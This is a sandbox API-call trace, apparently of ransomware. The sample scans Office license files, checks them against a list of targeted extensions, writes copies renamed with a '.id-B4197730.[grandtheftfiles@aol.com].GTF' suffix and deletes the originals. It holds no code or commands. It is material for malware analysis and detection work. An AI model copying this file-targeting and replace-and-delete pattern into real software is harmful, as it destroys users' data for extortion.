	[0179.708] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.708] lstrlenW (lpString=".bz2") returned 4
	[0179.708] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.708] lstrlenW (lpString=".7z") returned 3
	[0179.708] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86
	[0179.708] lstrlenW (lpString=".dbf") returned 4
	[0179.708] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86
	[0179.708] lstrlenW (lpString=".1cd") returned 4
	[0179.708] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86
	[0179.708] lstrlenW (lpString=".jpg") returned 4
	[0179.708] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86
	[0179.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86
	[0179.708] lstrlenW (lpString=".doc") returned 4
	[0179.708] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.708] lstrlenW (lpString=".docx") returned 5
	[0179.708] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.708] lstrlenW (lpString=".pdf") returned 4
	[0179.708] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.708] lstrlenW (lpString=".xls") returned 4
	[0179.708] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.708] lstrlenW (lpString=".xlsx") returned 5
	[0179.708] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.708] lstrlenW (lpString=".ppt") returned 4
	[0179.708] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86
	[0179.709] lstrlenW (lpString=".zip") returned 4
	[0179.709] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.709] lstrlenW (lpString=".rar") returned 4
	[0179.709] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.709] lstrlenW (lpString=".bz2") returned 4
	[0179.709] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.709] lstrlenW (lpString=".7z") returned 3
	[0179.709] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86
	[0179.709] lstrlenW (lpString=".dbf") returned 4
	[0179.709] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86
	[0179.709] lstrlenW (lpString=".1cd") returned 4
	[0179.709] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86
	[0179.709] lstrlenW (lpString=".jpg") returned 4
	[0179.709] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.709] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0179.709] lstrlenW (lpString="O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 37
	[0179.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0179.710] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=11635) returned 1
	[0179.710] CloseHandle (hObject=0x560) returned 1
	[0179.710] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ul-oob.xrm-ms")) returned 0x220
	[0179.710] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0179.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0179.710] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.710] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0179.711] GetLastError () returned 0x0
	[0179.711] ReadFile (in: hFile=0x560, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x2d73, lpOverlapped=0x0) returned 1
	[0179.721] WriteFile (in: hFile=0x540, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x2d80, lpOverlapped=0x0) returned 1
	[0179.722] ReadFile (in: hFile=0x560, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.722] WriteFile (in: hFile=0x540, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0179.722] SetEndOfFile (hFile=0x540) returned 1
	[0179.728] CloseHandle (hObject=0x540) returned 1
	[0179.730] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.730] SetEndOfFile (hFile=0x560) returned 1
	[0179.746] CloseHandle (hObject=0x560) returned 1
	[0179.746] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0179.975] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ul-oob.xrm-ms")) returned 1
	[0180.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87
	[0180.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87
	[0180.000] lstrlenW (lpString=".doc") returned 4
	[0180.000] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.000] lstrlenW (lpString=".docx") returned 5
	[0180.000] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.000] lstrlenW (lpString=".pdf") returned 4
	[0180.000] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.000] lstrlenW (lpString=".xls") returned 4
	[0180.000] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.000] lstrlenW (lpString=".xlsx") returned 5
	[0180.000] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.000] lstrlenW (lpString=".ppt") returned 4
	[0180.000] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87
	[0180.000] lstrlenW (lpString=".zip") returned 4
	[0180.000] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.000] lstrlenW (lpString=".rar") returned 4
	[0180.000] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.000] lstrlenW (lpString=".bz2") returned 4
	[0180.000] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.000] lstrlenW (lpString=".7z") returned 3
	[0180.000] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87
	[0180.000] lstrlenW (lpString=".dbf") returned 4
	[0180.000] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87
	[0180.000] lstrlenW (lpString=".1cd") returned 4
	[0180.001] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87
	[0180.001] lstrlenW (lpString=".jpg") returned 4
	[0180.001] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87
	[0180.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87
	[0180.001] lstrlenW (lpString=".doc") returned 4
	[0180.001] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.001] lstrlenW (lpString=".docx") returned 5
	[0180.001] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.001] lstrlenW (lpString=".pdf") returned 4
	[0180.001] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.001] lstrlenW (lpString=".xls") returned 4
	[0180.001] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.001] lstrlenW (lpString=".xlsx") returned 5
	[0180.001] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.001] lstrlenW (lpString=".ppt") returned 4
	[0180.001] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87
	[0180.001] lstrlenW (lpString=".zip") returned 4
	[0180.001] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.001] lstrlenW (lpString=".rar") returned 4
	[0180.001] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.001] lstrlenW (lpString=".bz2") returned 4
	[0180.001] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.001] lstrlenW (lpString=".7z") returned 3
	[0180.001] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87
	[0180.001] lstrlenW (lpString=".dbf") returned 4
	[0180.001] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87
	[0180.001] lstrlenW (lpString=".1cd") returned 4
	[0180.002] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87
	[0180.002] lstrlenW (lpString=".jpg") returned 4
	[0180.002] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.002] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0180.002] lstrlenW (lpString="O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 37
	[0180.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0180.151] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=11635) returned 1
	[0180.151] CloseHandle (hObject=0x548) returned 1
	[0180.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ul-oob.xrm-ms")) returned 0x220
	[0180.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0180.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0180.151] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.151] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0180.152] GetLastError () returned 0x0
	[0180.152] ReadFile (in: hFile=0x548, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x2d73, lpOverlapped=0x0) returned 1
	[0180.154] WriteFile (in: hFile=0x374, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x2d80, lpOverlapped=0x0) returned 1
	[0180.155] ReadFile (in: hFile=0x548, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.155] WriteFile (in: hFile=0x374, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0180.155] SetEndOfFile (hFile=0x374) returned 1
	[0180.155] CloseHandle (hObject=0x374) returned 1
	[0180.155] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.155] SetEndOfFile (hFile=0x548) returned 1
	[0180.158] CloseHandle (hObject=0x548) returned 1
	[0180.159] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0180.159] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ul-oob.xrm-ms")) returned 1
	[0180.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87
	[0180.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87
	[0180.160] lstrlenW (lpString=".doc") returned 4
	[0180.160] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.160] lstrlenW (lpString=".docx") returned 5
	[0180.160] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.160] lstrlenW (lpString=".pdf") returned 4
	[0180.160] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.160] lstrlenW (lpString=".xls") returned 4
	[0180.160] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.160] lstrlenW (lpString=".xlsx") returned 5
	[0180.160] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.160] lstrlenW (lpString=".ppt") returned 4
	[0180.160] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87
	[0180.160] lstrlenW (lpString=".zip") returned 4
	[0180.160] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.160] lstrlenW (lpString=".rar") returned 4
	[0180.160] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.160] lstrlenW (lpString=".bz2") returned 4
	[0180.160] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.160] lstrlenW (lpString=".7z") returned 3
	[0180.160] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87
	[0180.160] lstrlenW (lpString=".dbf") returned 4
	[0180.160] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87
	[0180.160] lstrlenW (lpString=".1cd") returned 4
	[0180.160] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87
	[0180.160] lstrlenW (lpString=".jpg") returned 4
	[0180.160] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87
	[0180.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87
	[0180.161] lstrlenW (lpString=".doc") returned 4
	[0180.161] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.161] lstrlenW (lpString=".docx") returned 5
	[0180.161] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.161] lstrlenW (lpString=".pdf") returned 4
	[0180.161] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.161] lstrlenW (lpString=".xls") returned 4
	[0180.161] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.161] lstrlenW (lpString=".xlsx") returned 5
	[0180.161] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.161] lstrlenW (lpString=".ppt") returned 4
	[0180.161] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87
	[0180.161] lstrlenW (lpString=".zip") returned 4
	[0180.161] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.161] lstrlenW (lpString=".rar") returned 4
	[0180.161] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.161] lstrlenW (lpString=".bz2") returned 4
	[0180.161] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.161] lstrlenW (lpString=".7z") returned 3
	[0180.161] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87
	[0180.161] lstrlenW (lpString=".dbf") returned 4
	[0180.161] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87
	[0180.161] lstrlenW (lpString=".1cd") returned 4
	[0180.161] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87
	[0180.161] lstrlenW (lpString=".jpg") returned 4
	[0180.161] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.161] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0180.162] lstrlenW (lpString="O365HomePremR_SubTrial4-ppd.xrm-ms") returned 34
	[0180.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0180.162] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=23135) returned 1
	[0180.162] CloseHandle (hObject=0x548) returned 1
	[0180.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ppd.xrm-ms")) returned 0x220
	[0180.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0180.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0180.163] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.163] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0180.164] GetLastError () returned 0x0
	[0180.164] ReadFile (in: hFile=0x548, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x5a5f, lpOverlapped=0x0) returned 1
	[0180.322] WriteFile (in: hFile=0x374, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x5a60, lpOverlapped=0x0) returned 1
	[0180.335] ReadFile (in: hFile=0x548, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.335] WriteFile (in: hFile=0x374, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x118, lpOverlapped=0x0) returned 1
	[0180.335] SetEndOfFile (hFile=0x374) returned 1
	[0180.335] CloseHandle (hObject=0x374) returned 1
	[0180.335] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.335] SetEndOfFile (hFile=0x548) returned 1
	[0180.338] CloseHandle (hObject=0x548) returned 1
